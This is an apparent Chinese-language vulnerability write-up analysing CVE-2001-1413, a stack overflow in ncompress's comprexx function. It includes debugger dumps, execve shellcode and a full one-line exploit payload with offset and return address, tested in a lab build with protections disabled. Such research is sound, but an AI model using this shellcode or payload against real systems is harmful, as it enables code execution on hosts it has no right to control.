Compress is a fast, simple LZW file compressor. Compress does not have the highest compression rate, but it is one of the fastest programs to compress data. Compress is the defacto standard in the UNIX community for compressing files.

0x00 漏洞描述

Stack-based buffer overflow in the comprexx function for ncompress 4.2.4 and earlier, when used in situations that cross security boundaries (such as FTP server), may allow remote attackers to execute arbitrary code via a long filename argument.

  • CVE Details

0x01 CVE-2001-1413 漏洞原理

1、源码

溢出点位于 compress42.c 中的 comprexx() 函数内。 *fileptr 为传入的文件名,数组 tempname[MAXPATHLEN] 的大小为 1024 字节。

2、汇编

查看汇编代码,编译时为 comprexx() 分配的空间为 0x550,变量 tempname 起始地址为 rbp-0x410。因此,构造 PoC: ‘A’ * 1040 + RBP + RIP,即可导致程序崩溃。

3、Debug

基于以上分析,构造 PoC 为 python -c ‘print “A”*1054’,将程序断至 < comprexx+41 > 处:

单步执行,触发漏洞。此时,RSP=0x7fffffffd960、RBP=0x7fffffffdeb0,查看 RBP 附近:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x7fffffffde60
0x7fffffffde60: 0x4141414141414141 0x4141414141414141
0x7fffffffde70: 0x4141414141414141 0x4141414141414141
0x7fffffffde80: 0x4141414141414141 0x4141414141414141
0x7fffffffde90: 0x4141414141414141 0x4141414141414141
0x7fffffffdea0: 0x4141414141414141 0x4141414141414141
0x7fffffffdeb0: 0x4141414141414141 0x0000414141414141
0x7fffffffdec0: 0x00007ffff7de59a0 0x000000000074a260
0x7fffffffded0: 0x0000000000403660 0x0000000000000000
0x7fffffffdee0: 0x0000000000400d20 0x00007fffffffdfd0
0x7fffffffdef0: 0x0000000000403660 0x00007ffff7a05b97

可见,RBP 被覆盖为 0x4141414141414141,RIP 被覆盖为 0x0000414141414141。执行至函数返回:

0x02 Exploit

本文侧重点在于分析漏洞成因,不过多涉及 Exploit 编写技术。在此选用 ret2text 的方式,仅以验证为目的。

1、实验环境

将源码中的 Makefile.def 重命名为 Makefile,并修改 GCC 配置:

checksec 结果如下:

1
2
3
4
5
6
7
[*] '/root/AEG_DataSet/ncompress-4.2.4/compress'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

使用 shellcode 如下,功能为调用 /bin/bash,共计 24 字节。

1
2
// 调用 /bin/bash (24 byte)
shellcode = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

2、GDB

基于以上分析可知,偏移量为 1048,使用 0x7fffffffdaa0 作为返回地址,构造 Exp 如下:
(python -c “print ‘\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05’ + ‘A’*1024 + ‘\xa0\xda\xff\xff\xff\x7f’”)。

将 Exploit 传入 GDB,并触发漏洞:

执行至函数返回,成功劫持控制流,并执行 shellcode。

至此,完成了对 CVE-2001-1413 的分析,并在实验环境下编写了 Exploit。

参考文献

  1. ncompress
  2. Vulnerability Details : CVE-2001-1413